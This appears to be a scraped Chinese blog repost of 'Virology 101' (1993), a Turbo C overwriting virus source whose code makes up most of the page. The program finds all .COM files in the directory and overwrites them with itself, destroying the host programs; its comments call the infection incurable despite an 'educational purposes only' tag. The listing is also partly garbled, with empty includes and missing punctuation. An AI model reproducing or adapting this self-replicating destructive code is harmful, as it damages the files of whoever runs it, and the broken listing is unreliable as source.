zoukankan      html  css  js  c++  java
  • 小程序,嘿嘿

    copy from 黑基

     1- - ------------------ Cut Here -------------------------- - -
     2  /* This is a simple overwriting virus programmed in Turbo C */
     3  /* It will infect all .COM files in the current directory */
     4  /* Infections destroy the programs and cannot be cured */
     5  /* It was presented in Virology 101 (c) 1993 Black Wolf */
     6  /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
     7  #include
     8  #include
     9  #include
    10  FILE *Virus,*Host;
    11  int x,y,done;
    12  char buff[256];
    13  struct ffblk ffblk;
    14  main()
    15  {
    16  done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
    17  while (!done) /* Loop for all COM's in DIR*/
    18  {
    19  printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
    20  Virus=fopen(_argv[0],"rb"); /* Open infected file */
    21  Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
    22  x=9504/* Virus size - must */
    23  /* be correct for the */
    24  /* compiler it is made */
    25  /* on, otherwise the */
    26  /* entire virus may not*/
    27  /* be copied!! */
    28  while (x>256/* OVERWRITE new Host */
    29  /* Read/Write 256 byte */
    30  fread(buff,256,1,Virus); /* chunks until bytes */
    31  fwrite(buff,256,1,Host); /* left < 256 */
    32  x-=256;
    33  }

    34  fread(buff,x,1,Virus); /* Finish off copy */
    35  fwrite(buff,x,1,Host);
    36  fcloseall(); /* Close both files and*/
    37  done = findnext(&ffblk); /* go for another one. */
    38  }

    39  /* Activation would go */
    40  /* here */
    41  return (0); /* Terminate */
    42  }

    43  - - ------------------ Cut Here --------------------------- - -
    44

    此程序并没有提供一些函数的详细实现,但是大意非常清楚.

    Code
  • 相关阅读:
    收藏:详解交换机基础知识
    Linux Used内存到底哪里去了?
    TCP三次握手和四次挥手以及11种状态
    操作系统深度研究(75页PPT)
    命令行版的斗地主你玩过没?
    10大黑客专用的 Linux 操作系统
    (四)Linux命令大全:帮助命令
    (三)Linux命令大全:文件搜索命令
    (二)Linux命令大全:权限管理命令
    (一)Linux命令大全:文件处理命令
  • 原文地址:https://www.cnblogs.com/ziyuan/p/1318269.html
Copyright © 2011-2022 走看看